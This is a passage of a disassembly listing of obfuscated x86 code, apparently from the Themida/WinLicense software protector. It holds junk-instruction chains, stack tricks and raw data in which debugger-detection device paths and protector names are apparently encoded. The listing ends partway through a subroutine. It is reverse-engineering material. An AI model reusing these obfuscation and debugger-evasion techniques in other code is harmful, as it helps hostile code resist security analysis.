--------------------------------------------------------------------------- loc_5729EC: ; CODE XREF: sub_562ABA+FD4Fj mov edi, esi push esi mov esi, esp add esi, 4 push edi jmp loc_564AF3 ; --------------------------------------------------------------------------- loc_5729FD: ; CODE XREF: sub_562ABA+6BFBj mov ecx, [esp+3Eh+var_3E] add esp, 4 xor ebx, [esp+3Ah+var_3A] xor [esp+3Ah+var_3A], ebx xor ebx, [esp+3Ah+var_3A] jmp loc_562FCE ; --------------------------------------------------------------------------- loc_572A11: ; CODE XREF: sub_562ABA+AC3Ej push ecx push eax push ebx mov bh, 0A1h push edx jmp loc_571E4F ; --------------------------------------------------------------------------- loc_572A1C: ; CODE XREF: sub_562ABA+1DB6j push 70495999h pop ebx neg ebx shr ebx, 4 jmp loc_566376 ; --------------------------------------------------------------------------- loc_572A2C: ; CODE XREF: sub_562ABA+AEDj push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+0] pop esp jmp loc_5631A0 ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- loc_572A44: ; CODE XREF: Themida_:005610AEj xor ebp, 0D656DB90h jmp loc_56968C ; =============== S U B R O U T I N E ======================================= sub_572A4F proc near ; CODE XREF: sub_562ABA+FC0Dj sub esp, 4 jmp loc_56F558 sub_572A4F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_572A5A: ; CODE XREF: sub_562ABA+E2E1j push eax mov eax, 145B0816h inc eax push ebx jmp loc_56231D ; --------------------------------------------------------------------------- loc_572A67: ; CODE XREF: sub_562ABA+D2FAj add esi, ecx pop ecx xchg esi, [esp+0] pop esp sub esp, 4 mov [esp+0], edi jmp loc_56ACE6 ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- mov ax, [esp] push esi push esp jmp loc_5686E5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_572A87: ; CODE XREF: sub_562ABA+776j pop edi add edx, 4 xchg edx, [esp+8+var_8] pop esp mov ebp, [esp+4+var_4] add esp, 4 popa jmp loc_56447D ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56017F loc_572A9B: ; CODE XREF: sub_56017F+20DBj pop edi jmp loc_56A480 ; END OF FUNCTION CHUNK FOR sub_56017F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_572AA1: ; CODE XREF: sub_562ABA+129Cj mov [esp+2Ah+var_2C+2], eax push esi jmp loc_560416 ; --------------------------------------------------------------------------- loc_572AAA: ; CODE XREF: sub_562ABA+165Ej jmp loc_55E09F ; --------------------------------------------------------------------------- loc_572AAF: ; CODE XREF: sub_562ABA-1855j xchg ebx, [esp+0] pop esp mov [esp-4+arg_0], esp add [esp-4+arg_0], 4 pop eax add eax, 4 push ebp push esp jmp loc_56D978 ; --------------------------------------------------------------------------- loc_572AC7: ; CODE XREF: sub_562ABA+9CD7j pop esi add ebx, edi pop edi push eax mov eax, 49CB7932h and eax, 1D1B2E62h jmp loc_569505 ; --------------------------------------------------------------------------- loc_572ADB: ; CODE XREF: sub_562ABA+934Cj mov [esp+32h+var_32], ebp jmp loc_568F58 ; --------------------------------------------------------------------------- loc_572AE3: ; CODE XREF: sub_562ABA+4AFCj mov edx, 0FFA20CEBh add eax, edx pop edx xor ecx, eax pop eax sub esi, ecx jmp loc_564A3F ; --------------------------------------------------------------------------- loc_572AF5: ; CODE XREF: sub_562ABA-CD4j jmp loc_55E09F ; --------------------------------------------------------------------------- loc_572AFA: ; CODE XREF: sub_562ABA+3D31j jmp loc_55E09F ; --------------------------------------------------------------------------- loc_572AFF: ; CODE XREF: sub_562ABA+4536j xchg ebx, [esp+26h+var_28+2] mov esp, [esp+26h+var_28+2] push eax push esp pop eax add eax, 4 add eax, 4 xor eax, [esp+2Ah+var_2C+2] jmp loc_572568 ; --------------------------------------------------------------------------- loc_572B1A: ; CODE XREF: sub_562ABA+EC84j pop edx add ebp, 40E10DE3h add ebp, edi sub ebp, 40E10DE3h pop edi not ebp push ecx mov ecx, 51D3CD1h jmp loc_56A93F ; --------------------------------------------------------------------------- loc_572B37: ; CODE XREF: sub_562ABA-4826j add edx, 6D9839B7h pop eax sub edx, 467E41A7h add edx, edi jmp loc_55FDB7 ; --------------------------------------------------------------------------- loc_572B4B: ; CODE XREF: sub_562ABA-1DE6j mov [esp-0Ah+arg_4+2], eax push esp pop eax push ebp push ebx push 427C2A5Eh pop ebx mov ebp, ebx pop ebx sub ebp, 7A720DB4h push 431Eh mov [esp+0], ebp not dword ptr [esp+0] pop ebp shl ebp, 6 jmp loc_5715A9 ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- loc_572B75: ; DATA XREF: Themida_:0055E000o mov cx, [esp] push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], eax push 6E75h push esp pop dword ptr [esp] add dword ptr [esp], 4 jmp loc_56FB04 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_572BA2: ; CODE XREF: sub_562ABA+7135j pop esi jmp loc_568E56 ; --------------------------------------------------------------------------- loc_572BA8: ; CODE XREF: sub_562ABA-372Dj add edi, ecx pop ecx push eax mov eax, 4 add edi, eax pop eax push edi jmp loc_56B265 ; --------------------------------------------------------------------------- loc_572BBA: ; CODE XREF: sub_562ABA+62C4j pop esi push eax jmp loc_565311 ; --------------------------------------------------------------------------- loc_572BC1: ; CODE XREF: sub_562ABA+6358j xor [esp+0], edx xor edx, [esp+0] mov esp, [esp+0] shl word ptr [esp+0], cl pushf jmp loc_55E09F ; --------------------------------------------------------------------------- loc_572BD4: ; CODE XREF: sub_562ABA-35DAj mov eax, 419678DBh dec eax xor eax, 4060A708h xor edx, eax pop eax sub ecx, 6DFD49D2h add ecx, 4A312DB2h add ecx, edx sub ecx, 4A312DB2h add ecx, 6DFD49D2h pop edx jmp loc_56F5C0 ; END OF FUNCTION CHUNK FOR sub_562ABA ; =============== S U B R O U T I N E ======================================= sub_572C02 proc near ; CODE XREF: sub_562ABA-3409j push ebx mov ebx, 333E7F25h push eax mov eax, 47654F76h add ebx, 5BB917E3h add ebx, eax sub ebx, 5BB917E3h pop eax and ebx, 53C75673h inc ebx neg ebx sub ebx, 0AD7CB9E8h sub esi, 62D2565Ch add esi, ebx push edi mov edi, 77D949F7h jmp loc_56A8B3 sub_572C02 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_572C3F: ; CODE XREF: sub_562ABA-184Dj sub ebx, 4FF7DFFBh add eax, ebx pop ebx jmp loc_571DCF ; --------------------------------------------------------------------------- loc_572C4D: ; CODE XREF: sub_562ABA+AFF7j not edi xor [esp+4Eh+var_4E], edi xor edi, [esp+4Eh+var_4E] jmp loc_570E25 ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_54DC11 loc_572C5A: ; CODE XREF: sub_54DC11+38D8j call near ptr loc_572C62+5 scasb pop eax xchg eax, edx loc_572C62: ; CODE XREF: sub_54DC11:loc_572C5Ap sar byte ptr [ebx-76E5101Ch], cl ; END OF FUNCTION CHUNK FOR sub_54DC11 ; --------------------------------------------------------------------------- dd 0A831D98Dh, 81665A06h, 81D076D6h, 7379C2h, 0B800h, 8B0F0000h dd 6, 33ED9D8Bh, 34FF06A8h, 0C6816610h, 8959FE53h, 0A82BAD9Dh dd 0CAE98106h, 8B7FD67Dh, 0A8260DB5h, 36F18106h, 815E8261h dd 0CE3C27E9h, 5EF5532Bh, 29020C89h, 0A82E1185h, 4E88306h dd 2E4D8D31h, 0F88106A8h, 0FFFF8CFCh, 0FFB8850Fh, 8589FFFFh dd 6A815C1h, 4AE9h, 49500300h, 45535557h, 2E323352h, 6C6C64h dd 41564441h, 32334950h, 6C6C642Eh, 44544E00h, 642E4C4Ch dd 0D7006C6Ch, 4000A07h, 0C001200h, 2E001900h, 3E00h, 4 dup(0) dd 0E9000000h, 817h, 0AA940468h, 0EA98E906h, 7F68FFFDh dd 0E906AA94h, 0FFFDEA8Eh, 0AA959468h, 0EA84E906h, 0D068FFFDh dd 0E906AA96h, 0FFFDEA7Ah, 0AA974768h, 0EA70E906h, 5368FFFDh dd 0E906AA98h, 0FFFDEA66h, 0AA98A668h, 0EA5CE906h, 0FF9AFFFDh dd 0A2CF70B6h, 5800A3E7h, 42A9511h, 395AC541h, 8A93674h dd 0E624690Ah, 0CA501D3Dh, 482CB69h, 75B1F89Bh, 0D9D16BF1h dd 0ABB60269h, 2501C66Dh, 0EE932FA9h, 346DA5C3h, 4AF123E4h dd 0D4D4769Ch, 8AAF587Fh, 58803870h, 0A1210AAFh, 800901BBh dd 50FBAF58h, 912B3167h, 0B600966Ah, 7F89FF58h, 8FDAB320h dd 6482399Bh, 82E4DB22h, 218EA996h, 5B8F3498h, 2B1FA821h dd 15B19A9Dh, 24C28BAAh, 4C940ED2h, 58C93D2Ah, 0E5367B36h dd 0C766C9B3h, 7CA35A8Eh, 86250BFBh, 6863Dh, 155CFB00h dd 44012E91h, 723B5DC6h, 0A2E78B34h, 0D79ABB64h, 6DA5D453h dd 9A0581CCh, 0CE71B5F8h, 0A3E7AEh, 1696145Dh, 6B76B2D4h dd 0E4CB602h, 155CFF21h, 0CABB67F1h, 23357597h, 240FAF58h dd 912802AAh, 0B1E3A407h, 3EAADC0Ah, 20B60358h, 46D29FBFh dd 0CD6B9FB8h, 0A90F46E2h, 9B2F6606h, 766FFB7Dh, 427BB3EFh dd 622B49D6h, 88C1643Dh, 23BA8750h, 0D9AA09F3h, 60Bh, 0A90D980h dd 45C184A9h, 0B3F7BEDAh, 0E3276210h, 0D4521F40h, 47E82A4Fh dd 7313BC0Ah, 2547E83Eh, 0D675DE6Ch, 49930B9Fh, 26AFB3Fh dd 0A483C9B6h, 7EF45CFFh, 0C4ADFC93h, 55CE534Ch, 98327F36h dd 94809213h, 7312DF80h, 71h, 155CFFD4h, 5EA6AA91h, 0AF57D7h dd 0D768A0DAh, 0F15AAF57h, 9455F8A7h, 0B172BFF2h, 4750DD90h dd 9631756Eh, 0C3699D26h, 0DB7BBEE0h, 27100996h, 0F177A1FAh dd 0B60047D5h, 7D6684AFh, 0AF1096DFh, 6D68258Dh, 0EF96F16h dd 0F46AAED8h, 0FF58B5FFh, 4896E006h, 0FCCD36C9h, 0E65FCC6Ch dd 55Fh, 487F600h, 6062D1F7h, 9A2ADC96h, 0FA3E099Fh, 155CFFB1h dd 0D1715288h, 298B1C9Ch, 0FFD27492h, 0C5B5FFE3h, 0CD36DC6Ah dd 80BAE7AEh, 6EE0B572h, 84140D2Ch, 0F531781Bh, 0AD59E252h dd 0AB53FA1Bh, 0BB6FC8BCh, 3708DB1Dh, 4680B776h, 0A50A43E5h dd 0D97B2474h, 8BA90A90h, 0A1C45DC2h, 0BFE130E8h, 70B3EC7Bh dd 4F68Fh, 85CC6B00h, 0B4F19E01h, 0E2ABCD76h, 1257FBA4h dd 470A2B94h, 0DD3544C3h, 0AB5F1BCh, 3EE12568h, 70D3571Eh dd 0A60684CDh, 6C060244h, 0BEFCB602h, 9D5CFF91h, 3C6DB2FBh dd 2645DE43h, 5288C26Fh, 1B9DD071h, 3BBDFFA0h, 44E68ACFh dd 50ECF109h, 0E8DB2D8Bh, 33AF589Dh, 0DF11ECD9h, 0FEDC0912h dd 0F0D3FFFFh, 82A2034Eh, 0E33566CBh, 155CFFB8h, 16AD0F88h dd 226F0FF0h, 77DA6CF6h, 69B5FFDDh, 0DD81B9C3h, 0E843B5FFh dd 1195BE40h, 9BD06B6h, 0A81054FFh, 88A90ABCh, 8D662F4Dh dd 9FA1F720h, 8CAD16B4h, 0ED4B5CC1h, 0FB9FC7Eh, 0FD5BCA8h dd 64C980A4h, 0A50EE533h, 8FEBB995h, 18F5C1Fh, 1E70000h dd 3640F425h, 57D79494h, 0FE086EAFh, 0AF57D6BAh, 0DDB6AF88h dd 0ED6C9F29h, 0FD56B5FFh, 0A227D8Bh, 3B998FDAh, 0DD205A80h dd 8396823Bh, 0E4347D20h, 0B6ACF15Ah, 0B99DA224h, 0E31AD499h dd 7711729Dh, 70B8F13Eh, 8BE05B7h, 2A8A79FEh, 3AE04B9Dh dd 0B8F0B5D9h, 5CEE14B2h, 9D2A8A5Ch, 7FF50D26h, 0ABC1FFAAh dd 3457D850h, 0E786297Dh, 0EAA17AAEh, 0C4E70BFCh, 3BA7Bh dd 41082F00h, 70355AC5h, 0A6EF892Ah, 0D693BF60h, 34EEF50h dd 99793887h, 0CE71B5F8h, 0FAA5E1ACh, 2C97135Ah, 62FA4009h dd 6D4A4EF8h, 0F238B602h, 0EA1CBA55h, 0AF57D6AEh, 3023BB94h dd 327B2E04h, 0AB099E1Ah, 4050EA10h, 26B6034Eh, 4AD79EBDh dd 1E39C751h, 2C6507E8h, 5E17359Eh, 6E2B47A8h, 0A5C859CAh dd 4CF10E0Dh, 140D206Eh, 235F11F4h, 0DFA003F3h, 343h, 42D891B8h dd 0BD094CE1h, 0EB3F7612h, 0DB6F2A48h, 0C9AD778h, 7F20F287h dd 2B4BF432h, 0DD7F2066h, 8EAD1694h, 1DB43C7h, 26DC3C7h dd 0DC7B81B6h, 88155CFFh, 893D7417h, 0E64B0226h, 0F68063B5h dd 316040E1h, 0FAAF57D9h, 0DFD49782h, 0D3755E12h, 0C6A8409Ah dd 78E7D9D6h, 0FD2C0230h, 0FF25FFFFh, 0EF1155Ch, 0DA11C06Ch dd 0AAD90B41h, 5E8467B1h, 2B9CD975h, 0CEDF440Dh, 257FDD6Ah dd 0C8B155C1h, 0F7B2DF87h, 1E81251Eh, 0D59CBC71h, 40EEB7FCh dd 668C2C05h, 954924h, 8A103BB6h, 0FF2001ADh, 99912B5Dh dd 6BAF57D7h, 0B933D7C0h, 86731C03h, 59831547h, 0BBBC2Fh dd 79AD86B6h, 0BC71A9D3h, 0F853B600h, 0F0DEE8B0h, 0AB5E182Eh dd 0F214B209h, 64C060ABh, 0A871BE99h, 0F10BBF04h, 6B689B78h dd 9E9A2C4Ah, 646B689Bh, 0CB34D2CBh, 6CBDE2A7h, 9EBD26CCh dd 4AB553D7h, 0EC3D622Bh, 940E34Ch, 0BE91E0DFh, 74CDEE3Dh dd 237h, 46C48DACh, 0B1F5B0DDh, 0E7236A0Eh, 0D753163Ch dd 86CB6Ch, 7B1CF6BBh, 2F4FF036h, 0D97B2462h, 8AA90A90h dd 5E747C3h, 26EC7C3h, 0D07FBDB6h, 0D80EB5E7h, 26A5CAEh dd 0D90D26B6h, 8B1F56F6h, 0E04D0428h, 0B3551C3Fh, 0F324C236h dd 0E4EA5B58h, 59000001h, 9033773Eh, 0BF60A6E3h, 0E94AD099h dd 19BA0045h, 6AF13578h, 0E7AACB47h, 135E00A3h, 41082C97h dd 723B5AC5h, 10AAB034h, 0B6026F18h, 0E787ACEAh, 0AB1BEFB5h dd 5224C35Bh, 0C91612B4h, 43ECAF58h, 0AD16BC6Ah, 9452C68Fh dd 0B6035C86h, 0CC37D37Ch, 8AC768A9h, 1B21591h, 0F29F00A6h dd 0E7316AB7h, 5BD9CB7Dh, 80ABB603h, 0ACE18223h, 7B1CBF07h dd 0E657F036h, 251DAF5Bh, 1FB6035Ch, 86B9D8D5h, 5A33F6A4h dd 60294CD5h, 0BDE043C3h, 0BB24BB15h, 2FB315Ch, 31781B84h dd 0A20A2A95h, 69BBA8BBh, 921F08BBh, 0DAC1F99h, 4FD0FBF5h dd 0DE6C2548h, 129FD675h, 0D670F091h, 0B60331D2h, 1AE87B0h dd 858C15BEh, 0B81BAFE6h, 3255DA97h, 95D07D1Ch, 0BDF49708h dd 87289D70h, 42E3C808h, 0BAF3957Eh, 0DD90B17Eh, 845E649h dd 1612B4D2h, 0ECB60332h, 0AD76D543h, 9659C68Fh, 0CC6D743Dh dd 0FB9A0581h, 0EFED6DB2h, 0EA6E7698h, 67224FB0h, 0D880E13Ah dd 3AC0791h, 8A1059FCh, 0DE430A29h, 0C4692445h, 6933FC69h dd 2466E286h, 6E7698E4h, 1C9C75DEh, 6DB9F093h, 0E527A3C2h dd 6E7699A5h, 56DBB49Fh, 3E5467D5h, 0CE5367Bh, 0B465ACDEh dd 155F751Eh, 8111E261h, 0E327105Ah, 9B4FF458h, 0C925F561h dd 3F64CF7Bh, 3943C766h, 7BC92601h, 0FB9E68C3h, 34BF7B26h dd 5E41655Eh, 0FB2C713Ch, 0C96CD7BDh, 0E9586961h, 0BA937C04h dd 3C25F575h, 0AE4CCDADh, 0CC6C2945h, 0A4C7CE57h, 57F659EDh dd 6210911Eh, 5E77FA27h, 0E6AFCED5h, 28609AC0h, 1ACDAD3Ch dd 0E7A2D031h, 0AB2DCBB1h, 0ABC5FC95h, 41EE4A38h, 7DC66B22h dd 1Bh, 5D183699h, 0A70FC7D0h, 38CAD710h, 0B0E4CF69h, 5E5AEC0Ah dd 24AF57D7h, 0FF86AD0Bh, 138C1158h, 2BF43970h, 42E34009h dd 5FC06D20h, 752E733Eh, 8B1499D4h, 0A47DA2E7h, 0BF60CD84h dd 0FA4AD792h, 81E38953h, 4C3h, 4EB8100h, 87000000h, 895C241Ch dd 0E8682414h, 8900004Ch, 89512414h, 4C181E1h, 83000000h dd 0C8704E9h, 3C895C24h, 4EC8324h, 0B9240C89h, 643155E0h dd 9BC685BAh, 59CA3162h, 8904EC83h, 4812424h, 424h, 0AB685F00h dd 8900005Bh, 478F2414h, 243C8B08h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop edx add esp, 4 jmp loc_5517CE ; --------------------------------------------------------------------------- db 0EAh dd 43CBEDCEh, 0B844C8DDh, 6AA9AAFh, 0E0FFC503h, 43E9AF2Fh dd 64194127h, 32C8440Ah, 51E98C9Bh, 710ACAE0h, 4A3CE43Dh dd 474509D9h, 4F891D39h, 1C03DB9Fh, 3E629026h, 4B6D8269h dd 0F4B9C48h, 1B8B9081h, 31C6607Ch, 8DE9h, 0BD836000h dd 6A81521h, 5840F00h, 0E9000000h, 78h, 3E80006Ah, 8850F30h dd 6A000000h, 35E94600h, 80000000h, 850F333Eh, 8, 0E946106Ah dd 24h, 0F343E80h, 885h, 46306A00h, 13E9h, 353E8000h, 8850Fh dd 406A0000h, 2E946h, 6A0000h, 0F203E80h, 1285h, 17E8000h dd 8850F00h, 83000000h, 15E908C4h, 8D000000h, 0A826D185h dd 4895006h, 96509624h, 95FF006Ah, 6A8142Dh, 85C6C361h dd 6A815D5h, 1ECA684Dh, 3481CC2Eh, 1B686224h, 2DB5FF68h dd 8D06A80Dh, 0A83AC385h, 89D0FF06h, 0A8142D85h, 0AAE906h dd 6F530000h, 61777466h, 575C6572h, 694C6E69h, 736E6563h dd 68430065h, 496B6365h, 7058004Eh, 45746F72h, 746978h dd 63656843h, 54554F6Bh, 6E695700h, 6563694Ch, 5665736Eh dd 69737265h, 57006E6Fh, 694C6E69h, 736E6563h, 69724465h dd 56726576h, 69737265h, 57006E6Fh, 694C6E69h, 736E6563h dd 736E4965h, 636E6174h, 78450065h, 6B4F7469h, 6F725000h dd 4E4963h, 636F7250h, 54554Fh, 74697845h, 45004E49h, 4F746978h dd 54005455h, 4E4970h, 3 dup(0) dd 77DDAF7Fh, 77DD72F0h, 596E9h, 0CF858900h, 8D06AA9Ch dd 0AA9CCB85h, 858D5006h, 6AA9C35h, 16850h, 95FF8000h dd 6AA9CDBh, 0B5FF196Ah, 6AA9CCFh, 6A016Ah, 9C64858Dh dd 0FF5006AAh, 0AA9CCBB5h, 0C995FF06h, 0FF06A81Eh, 0AA9CCBB5h dd 0D795FF06h, 0FF06AA9Ch, 0AA9CCBB5h, 9195FF06h, 0C306A807h dd 9CCF8589h, 858D06AAh, 6AA9CCBh, 35858D50h, 5006AA9Ch dd 168h, 0DB95FF80h, 6A06AA9Ch, 0CF858D04h, 5006AA9Ch dd 6A046Ah, 9C8E858Dh, 0FF5006AAh, 0AA9CCBB5h, 0C995FF06h dd 0FF06A81Eh, 0AA9CCBB5h, 0D795FF06h, 0FF06AA9Ch, 0AA9CCBB5h dd 9195FF06h, 0C306A807h, 9CCF8589h, 858D06AAh, 6AA9CCBh dd 35858D50h, 5006AA9Ch, 168h, 0DB95FF80h, 6A06AA9Ch, 0CF858D04h dd 5006AA9Ch, 6A046Ah, 9C76858Dh, 0FF5006AAh, 0AA9CCBB5h dd 0C995FF06h, 0FF06A81Eh, 0AA9CCBB5h, 0D795FF06h, 0FF06AA9Ch dd 0AA9CCBB5h, 9195FF06h, 0C306A807h, 9CCF8589h, 858D06AAh dd 6AA9CCBh, 35858D50h, 5006AA9Ch, 168h, 0DB95FF80h, 6A06AA9Ch dd 0CF858D04h, 5006AA9Ch, 6A046Ah, 9CA1858Dh, 0FF5006AAh dd 0AA9CCBB5h, 0C995FF06h, 0FF06A81Eh, 0AA9CCBB5h, 0D795FF06h dd 0FF06AA9Ch, 0AA9CCBB5h, 9195FF06h, 0C306A807h, 9CCF8589h dd 858D06AAh, 6AA9CCBh, 35858D50h, 5006AA9Ch, 168h, 0DB95FF80h dd 6A06AA9Ch, 0CF858D04h, 5006AA9Ch, 6A046Ah, 9C51858Dh dd 0FF5006AAh, 0AA9CCBB5h, 0C995FF06h, 0FF06A81Eh, 0AA9CCBB5h dd 0D795FF06h, 0FF06AA9Ch, 0AA9CCBB5h, 9195FF06h, 0C306A807h dd 32A1BD83h, 0F0006A8h, 0B84h, 0A19D8B00h, 8306A832h dd 3894CC3h, 0A1BD83C3h, 6A832h, 0B840Fh, 9D8B0000h, 6A832A1h dd 8950C383h, 0BD83C303h, 6A832A1h, 0B840F00h, 8B000000h dd 0A832A19Dh, 54C38306h, 83C30389h, 0A832A1BDh, 840F0006h dd 0Bh, 32A19D8Bh, 0C38306A8h, 0C3038958h, 32A1BD83h, 0F0006A8h dd 0B84h, 0A19D8B00h, 8306A832h, 3895CC3h, 8960C3C3h, 0AA9CCF85h dd 0CB858D06h, 5006AA9Ch, 9C35858Dh, 685006AAh, 80000001h dd 9CDB95FFh, 46A06AAh, 9CCF858Dh, 6A5006AAh, 8D006A04h dd 0AA9CC685h, 0B5FF5006h, 6AA9CCBh, 1EC995FFh, 0BD8306A8h dd 6A81ED9h, 0C840F00h, 0FF000000h, 0AA9CCBB5h, 0D795FF06h dd 0FF06AA9Ch, 0AA9CCBB5h, 9195FF06h, 6106A807h, 858960C3h dd 6AA9CCFh, 9CCB858Dh, 8D5006AAh, 0AA9C3585h, 1685006h dd 0FF800000h, 0AA9CDB95h, 8D046A06h, 0AA9CCF85h, 46A5006h dd 858D006Ah, 6AA9CA8h, 0CBB5FF50h, 0FF06AA9Ch, 0A81EC995h dd 0D9BD8306h, 6A81Eh, 0C840Fh, 0B5FF0000h, 6AA9CCBh, 9CD795FFh dd 0B5FF06AAh, 6AA9CCBh, 79195FFh, 0C36106A8h, 0CF858960h dd 8D06AA9Ch, 0AA9CCB85h, 858D5006h, 6AA9C35h, 16850h dd 95FF8000h, 6AA9CDBh, 858D046Ah, 6AA9CCFh, 6A046A50h dd 0AF858D00h, 5006AA9Ch, 9CCBB5FFh, 95FF06AAh, 6A81EC9h dd 1ED9BD83h, 0F0006A8h, 0C84h, 0CBB5FF00h, 0FF06AA9Ch dd 0AA9CD795h, 0CBB5FF06h, 0FF06AA9Ch, 0A8079195h, 60C36106h dd 9CCF8589h, 858D06AAh, 6AA9CCBh, 35858D50h, 5006AA9Ch dd 168h, 0DB95FF80h, 6A06AA9Ch, 0CF858D04h, 5006AA9Ch dd 6A046Ah, 9CB7858Dh, 0FF5006AAh, 0AA9CCBB5h, 0C995FF06h dd 8306A81Eh, 0A81ED9BDh, 840F0006h, 0Ch, 9CCBB5FFh, 95FF06AAh dd 6AA9CD7h, 9CCBB5FFh, 95FF06AAh, 6A80791h, 8960C361h dd 0AA9CCF85h, 0CB858D06h, 5006AA9Ch, 9C35858Dh, 685006AAh dd 80000001h, 9CDB95FFh, 46A06AAh, 9CCF858Dh, 6A5006AAh dd 8D006A04h, 0AA9CBE85h, 0B5FF5006h, 6AA9CCBh, 1EC995FFh dd 0BD8306A8h, 6A81ED9h, 0C840F00h, 0FF000000h, 0AA9CCBB5h dd 0D795FF06h, 0FF06AA9Ch, 0AA9CCBB5h, 9195FF06h, 6106A807h dd 85C760C3h, 6AA9CCFh, 1, 9CCB858Dh, 8D5006AAh, 0AA9C3585h dd 2685006h, 0FF800000h, 0AA9CDB95h, 0FC00B06h, 0F84h dd 0CF85C700h, 6AA9Ch, 0E9000000h, 4Dh, 858D046Ah, 6AA9CCFh dd 6A046A50h, 49858D00h, 5006AA9Ch, 9CCBB5FFh, 95FF06AAh dd 6A81EC9h, 840FC00Bh, 0Fh, 9CCF85C7h, 6AAh, 0AE90000h dd 0C7000000h, 0AA9CCF85h, 106h, 0CBB5FF00h, 0FF06AA9Ch dd 0A8079195h, 858B6106h, 6AA9CCFh, 858960C3h, 6AA9CCFh dd 9CCB858Dh, 8D5006AAh, 0AA9C3585h, 1685006h, 0FF800000h dd 0AA9CDB95h, 8D046A06h, 0AA9CCF85h, 46A5006h, 858D006Ah dd 6AA9C49h, 0CBB5FF50h, 0FF06AA9Ch, 0A81EC995h, 0D9BD8306h dd 6A81Eh, 0C840Fh, 0B5FF0000h, 6AA9CCBh, 9CD795FFh, 0B5FF06AAh dd 6AA9CCBh, 79195FFh, 0C36106A8h, 0CF858960h, 8D06AA9Ch dd 0AA9CCB85h, 858D5006h, 6AA9C35h, 16850h, 95FF8000h dd 6AA9CDBh, 858D046Ah, 6AA9CCFh, 6A046A50h, 5B858D00h dd 5006AA9Ch, 9CCBB5FFh, 95FF06AAh, 6A81EC9h, 1ED9BD83h dd 0F0006A8h, 0C84h, 0CBB5FF00h, 0FF06AA9Ch, 0AA9CD795h dd 0CBB5FF06h, 0FF06AA9Ch, 0A8079195h, 0C6C36106h, 0A815D585h dd 7685206h, 0FFADE47Bh, 0A8069DB5h, 7D95FF06h, 8906A82Dh dd 0AA9CDB85h, 0D585C606h, 5206A815h, 2E00E568h, 9DB5FF90h dd 0FF06A806h, 0A82D7D95h, 0D7858906h, 0C606AA9Ch, 0A815D585h dd 35685206h, 0FFB9BF12h, 0A8069DB5h, 7D95FF06h, 8906A82Dh dd 0A81EC985h, 0D585C606h, 5206A815h, 78103468h, 9DB5FF98h dd 0FF06A806h, 0A82D7D95h, 91858906h, 0C606A807h, 0A815D585h dd 0D4685206h, 0FFC005DBh, 0A8069DB5h, 7D95FF06h, 8906A82Dh dd 0A80D1185h, 7E806h, 37130000h, 0DF7B52A8h, 0FE8E1h dd 7B420000h, 5CE3DA6Fh, 98814C78h, 0FC0B0EC6h, 959EBE86h dd 59583145h, 13E9h, 3E133B00h, 2742BE83h, 7302A3A7h, 656B5238h dd 9444F8F2h, 5C63C181h, 13E90000h, 56000000h, 3EE9A20Fh dd 8476F119h, 53D5691Dh, 0B18C8F49h, 68650Ah, 66000000h dd 47A1D081h, 0D68B665Bh, 56193C8Bh, 5EC18B56h, 3FC78158h dd 8172E841h, 0FC785EE6h, 0BEF8127h, 0B8296C9Dh, 6BE5C20Dh dd 453FEF81h, 81575E5Ch, 437E48F0h, 19048F08h, 60F3B70Fh dd 0EE8D78Bh, 11000000h, 18D2711Fh, 57F6B40Fh, 0E5A860A9h dd 81615882h, 0EA0574EBh, 0B1EC803Bh, 570C381h, 80603BEAh dd 8C0F27CCh, 4, 0F435B866h, 0B8FB8161h, 0FFFFFA4h, 2885h dd 0CE900h, 0AA8F0000h, 7D1E96B6h, 41F6C650h, 2EE98879h dd 7B000000h, 0BE845930h, 0C5EFD5DDh, 6620D8A3h, 8AEB73A3h dd 0C68B66B6h, 0FFFF5BE9h, 0BA6FDBFFh, 1B2D585Fh, 4A787A6Fh dd 7A2FAA6Eh, 47BCF338h, 5C1EEB05h, 535C2E5Ch, 454349h dd 5C2E5C5Ch, 56574953h, 5C004449h, 4E5C2E5Ch, 45434954h dd 8BC08B00h, 0D9BD83D3h, 6A81Eh, 0BD830975h, 6A82DE9h dd 50197400h, 0B8C08B53h, 40Fh, 7B58589h, 9D8D06A8h, 6AAA1ACh dd 585BD3FFh, 2DE9BD83h, 740006A8h, 0B8535017h, 40Fh, 7B58589h dd 9D8D06A8h, 6AA9E9Bh, 585BD3FFh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 16h, 0F6C35040h, 0D18B0AC1h, 38A0Fh dd 0B70F0000h, 998509FFh, 8B06A832h, 0C6F08BC0h dd 0A815D585h, 0BF0F4306h, 925968C9h, 19B29C84h, 0A3240481h dd 802009DCh, 0B5FFCFD2h, 6A831F9h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 0F1C35747h, 0EB9A6C27h, 0BE535A33h dd 667E855Ah, 4D8D0B5Fh, 8D06A82Ah, 0A83AC385h, 0C9958906h dd 0FF06A81Bh, 57006AD0h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1404h, 0C3574700h, 208E0F95h, 0E8000000h dd 14h, 0EB614CD8h, 0D357D0h, 7A594E5Fh, 0D3C22402h, 2A0018DDh dd 2115B58Bh, 0E95906A8h, 13h, 6240C8F9h, 3C33753Ch, 41D34654h dd 0B8E717ACh, 90016F08h, 0C4EDAEB9h, 810F5010h, 0Ch, 6890Fh dd 880F0000h, 0 db 90h ; --------------------------------------------------------------------------- mov dl, 0CCh push 0 push 0 push edi call sub_573FC4 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_573FC4 